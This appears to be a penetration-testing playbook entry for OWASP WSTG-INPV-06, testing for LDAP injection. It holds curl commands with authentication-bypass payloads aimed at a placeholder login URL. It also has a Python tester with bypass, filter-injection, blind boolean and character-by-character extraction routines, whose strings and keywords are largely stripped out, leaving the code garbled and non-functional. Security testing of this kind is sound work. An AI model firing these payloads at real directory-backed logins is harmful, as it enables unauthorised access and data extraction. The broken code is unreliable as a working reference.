wstg-inpv-06

name	wstg-inpv-06
description	Testing for LDAP Injection
category	input-validation
owasp_id	WSTG-INPV-06
version	1.0.0
author	cyberstrike-official
tags	["injection","input-validation","xss","sqli","wstg","inpv"]
tech_stack	["ldap","activedirectory","openldap"]
cwe_ids	["CWE-90"]
chains_with	["wstg-athn-05","wstg-authz-02"]
prerequisites	["wstg-info-06"]
severity_boost	{}

wstg-inpv-06

Test ID

WSTG-INPV-06

Test Name

Testing for LDAP Injection

High-Level Description

LDAP Injection occurs when user input is incorrectly filtered or not sanitized before being included in LDAP queries. Attackers can modify LDAP queries to bypass authentication, extract sensitive directory information, or modify directory data.

---

What to Check

• Authentication forms using LDAP
• User search functionality
• Directory lookups
• Filter manipulation
• DN (Distinguished Name) injection
• Boolean-based blind injection

---

How to Test

Step 1: Identify LDAP Injection Points

#!/bin/bash
TARGET="https://target.com/login"

# Basic LDAP injection payloads
echo "[*] Testing for LDAP injection..."

# Test with special characters
curl -s -X POST "$TARGET" -d "username=*&password=*"
curl -s -X POST "$TARGET" -d "username=admin*&password=*"
curl -s -X POST "$TARGET" -d "username=*)(uid=*))(|(uid=*&password=test"

# Test authentication bypass
curl -s -X POST "$TARGET" -d "username=*))&password=pwd"
curl -s -X POST "$TARGET" -d "username=admin)(&password=*"

Step 2: LDAP Injection Tester

#!/usr/bin/env python3
"""
LDAP Injection Vulnerability Tester
"""

 requests
 re

 :
     ():
        .url = url
        .findings = []
        .session = requests.Session()

    
    LDAP_ERRORS = [
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
        ,
    ]

    
    PAYLOADS = {
        : [
            (, ),                           
            (, ),       
            (, ),                 
            (, ),         
            (, ),    
            (, ),           
            (, ),                       
        ],
        : [
            ,
            ,
            ,
            ,
            ,
            ,
        ],
        : [
            ,
            ,
            ,
        ],
    }

     ():
        
        ()

         username, password  .PAYLOADS[]:
            :
                response = .session.post(
                    .url,
                    data={: username, : password}
                )

                
                 pattern  .LDAP_ERRORS:
                     re.search(pattern, response.text, re.IGNORECASE):
                        ()
                        .findings.append({
                            : ,
                            : ,
                            : 
                        })

                
                 response.status_code == :
                    
                       response.text.lower()  \
                         response.text.lower()  \
                         response.text.lower():
                        ()
                        ()
                        .findings.append({
                            : ,
                            : username,
                            : 
                        })
                         

             Exception  e:
                

         

     ():
        
        ()

         payload  .PAYLOADS[]:
            :
                response = .session.get(
                    .url,
                    params={param: payload}
                )

                
                 pattern  .LDAP_ERRORS:
                     re.search(pattern, response.text, re.IGNORECASE):
                        ()
                        .findings.append({
                            : ,
                            : payload,
                            : 
                        })

                
                 (response.text) > :
                    ()

             Exception  e:
                

     ():
        
        ()

        
        true_payload = (, )
        
        false_payload = (, )

        :
            true_response = .session.post(
                .url,
                data={: true_payload[], : true_payload[]}
            )

            false_response = .session.post(
                .url,
                data={: false_payload[], : false_payload[]}
            )

            
             (true_response.text) != (false_response.text):
                ()
                ()
                ()
                .findings.append({
                    : ,
                    : 
                })
                 

         Exception  e:
            

         

     ():
        
        ()

        charset = 
        extracted = 

         position  (, ):
            found = 
             char  charset:
                payload = 

                :
                    response = .session.post(
                        .url,
                        data={: payload, : }
                    )

                    
                       response.text.lower():
                        extracted += char
                        found = 
                        ()
                        

                 Exception  e:
                    

              found:
                

         extracted:
            ()
            .findings.append({
                : ,
                : target_field,
                : extracted,
                : 
            })

     ():
        
        ( + *)
        ()
        (*)

          .findings:
            ()
        :
             f  .findings:
                ()
                   f:
                    ()
                   f:
                    ()

     ():
        
        .test_auth_bypass()
        .test_filter_injection()
        .test_boolean_blind()
        .generate_report()


tester = LDAPInjectionTester()
tester.run_tests()